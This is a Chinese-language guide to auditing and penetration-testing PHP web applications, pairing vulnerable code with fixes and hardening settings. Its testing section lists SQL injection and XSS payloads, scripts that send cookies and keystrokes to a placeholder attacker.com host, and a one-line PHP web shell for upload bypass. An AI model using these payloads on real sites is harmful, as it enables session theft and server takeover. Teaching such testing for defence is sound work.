PHP项目安全审计与渗透测试指南
安全审计基础
审计准备
# 环境搭建 - PHP版本：7.4+ (检查配置) - Web服务器：Apache/Nginx - 数据库：MySQL/PostgreSQL - 框架：Laravel/ThinkPHP/Yii等 # 工具准备 - 静态分析：RIPS, PHPStan, Psalm - 动态分析：Burp Suite, OWASP ZAP - 代码审计：SonarQube, Fortify - 漏洞扫描：Nikto, WPScan(WordPress)
审计流程
graph TD
A[信息收集] --> B[静态代码分析]
B --> C[动态测试]
C --> D[漏洞验证]
D --> E[报告输出]
B --> F[配置检查]
B --> G[代码审查]
C --> H[渗透测试]
C --> I[模糊测试]
常见漏洞类型
SQL注入
// 危险代码
$username = $_GET['username'];
$sql = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $sql);
// 安全修复
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
// 使用ORM
User::where('username', $username)->first();
XSS跨站脚本
// 反射型XSS
echo "Hello, " . $_GET['name'];
// 存储型XSS
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (content) VALUES ('$comment')";
// 安全修复
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo strip_tags($comment);
// 使用模板引擎自动转义
CSRF跨站请求伪造
// 生成Token
session_start();
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
// 验证Token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF攻击');
}
// Laravel自动CSRF保护
<form method="POST">
@csrf
<!-- 表单内容 -->
</form>
文件包含
// 危险代码
include($_GET['page'] . '.php');
// 安全修复
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
}
命令注入
// 危险代码
system("ping " . $_GET['ip']);
// 安全修复
$ip = filter_var($_GET['ip'], FILTER_VALIDATE_IP);
if ($ip) {
exec("ping -c 1 " . escapeshellarg($ip));
}
渗透测试实战
信息收集
# 目录扫描 gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # 指纹识别 whatweb http://target.com wappalyzer 浏览器插件 # 子域名枚举 subfinder -d target.com amass enum -d target.com
SQL注入测试
-- 基础测试 ' OR 1=1 -- " OR "1"="1 admin' -- -- 时间盲注 ' AND SLEEP(5) -- ' AND IF(1=1, SLEEP(5), 0) -- -- 联合查询 ' UNION SELECT 1,2,3 -- ' UNION SELECT table_name, column_name FROM information_schema.columns --
XSS漏洞利用
<!-- 基础测试 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- 窃取Cookie -->
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<!-- 键盘记录 -->
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/?k='+e.key);
}
</script>
文件上传漏洞
// 绕过检查 // 1. MIME类型绕过 Content-Type: image/gif // 2. 扩展名绕过 shell.php.jpg shell.php%00.jpg // 3. 内容检查绕过 GIF89a<?php system($_GET['cmd']); ?>
安全配置检查
PHP配置
; php.ini 安全配置 disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source expose_php = Off display_errors = Off log_errors = On error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT allow_url_fopen = Off allow_url_include = Off session.cookie_httponly = 1 session.cookie_secure = 1 session.use_only_cookies = 1 session.use_strict_mode = 1
Web服务器安全
# Nginx安全配置
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
# 禁止访问敏感文件
location ~ /\. {
deny all;
}
location ~ (composer\.json|\.env|\.git) {
deny all;
}
自动化审计工具
RIPS静态分析
# 安装和运行 git clone https://github.com/ripsscanner/rips cd rips php -S localhost:8080 # 访问 http://localhost:8080 # 配置扫描路径，开始审计
PHPStan代码检查
# 安装
composer require --dev phpstan/phpstan
# 运行
vendor/bin/phpstan analyse src/ --level=max
# 配置文件 phpstan.neon
parameters:
level: max
paths:
- src
excludePaths:
- tests
OWASP ZAP
# API扫描
zap-api-scan.py -t http://target.com/api -f openapi
# 主动扫描
zap-full-scan.py -t http://target.com
# 使用Docker
docker run -v $(pwd):/zap/wrk/:rw -t owasp/zap2docker-stable \
zap-full-scan.py -t http://target.com -r report.html
修复建议
输入验证
// 白名单验证
$allowed = ['admin', 'user', 'guest'];
if (!in_array($role, $allowed)) {
throw new Exception('Invalid role');
}
// 类型转换
$id = (int)$_GET['id'];
$price = (float)$_POST['price'];
// 使用过滤器
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
$url = filter_var($_POST['url'], FILTER_VALIDATE_URL);
输出编码
// HTML输出 echo htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, 'UTF-8'); // URL参数 echo urlencode($param); // JSON输出 echo json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP); // JavaScript输出 echo json_encode($data, JSON_UNESCAPED_SLASHES);
安全存储
// 密码哈希
$hash = password_hash($password, PASSWORD_ARGON2ID);
// 验证密码
if (password_verify($password, $hash)) {
// 登录成功
}
// 敏感数据加密
$encrypted = openssl_encrypt($data, 'aes-256-gcm', $key, 0, $iv, $tag);
日志审计
// 记录安全事件
class SecurityLogger {
public static function log($event, $severity = 'INFO') {
$logEntry = [
'timestamp' => date('Y-m-d H:i:s'),
'ip' => $_SERVER['REMOTE_ADDR'],
'user' => $_SESSION['user_id'] ?? 'anonymous',
'event' => $event,
'url' => $_SERVER['REQUEST_URI'],
'method' => $_SERVER['REQUEST_METHOD']
];
error_log(json_encode($logEntry) . "\n", 3, '/var/log/security.log');
}
}
// 使用
SecurityLogger::log('Failed login attempt', 'WARNING');
持续安全
CI/CD集成
# GitLab CI配置
stages:
- security
security-scan:
stage: security
script:
- composer install
- vendor/bin/phpstan analyse src/ --level=max
- vendor/bin/psalm
- composer audit
only:
- main
- develop
依赖管理
# 安全检查 composer audit composer update --dry-run # 锁定版本 composer require vendor/package:^2.0 --no-update composer update vendor/package # 使用安全包 composer require roave/security-advisories:dev-master
应急响应
入侵检测
// 文件完整性检查
$hashes = [];
foreach (glob('*.php') as $file) {
$hashes[$file] = md5_file($file);
}
// 异常请求检测
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !isset($_SERVER['HTTP_REFERER'])) {
SecurityLogger::log('POST request without referer', 'WARNING');
}
日志分析
# 查找可疑请求
grep -E "(union.*select|eval|base64_decode|system)" /var/log/apache2/access.log
# 检测暴力破解
awk '{print $1}' /var/log/auth.log | sort | uniq -c | sort -nr | head -20
# 查看错误日志
tail -f /var/log/php_errors.log | grep -E "(warning|error|notice)"
通过系统化的安全审计和渗透测试,可以显著提高PHP项目的安全性，记住安全是一个持续的过程，需要不断更新和改进。
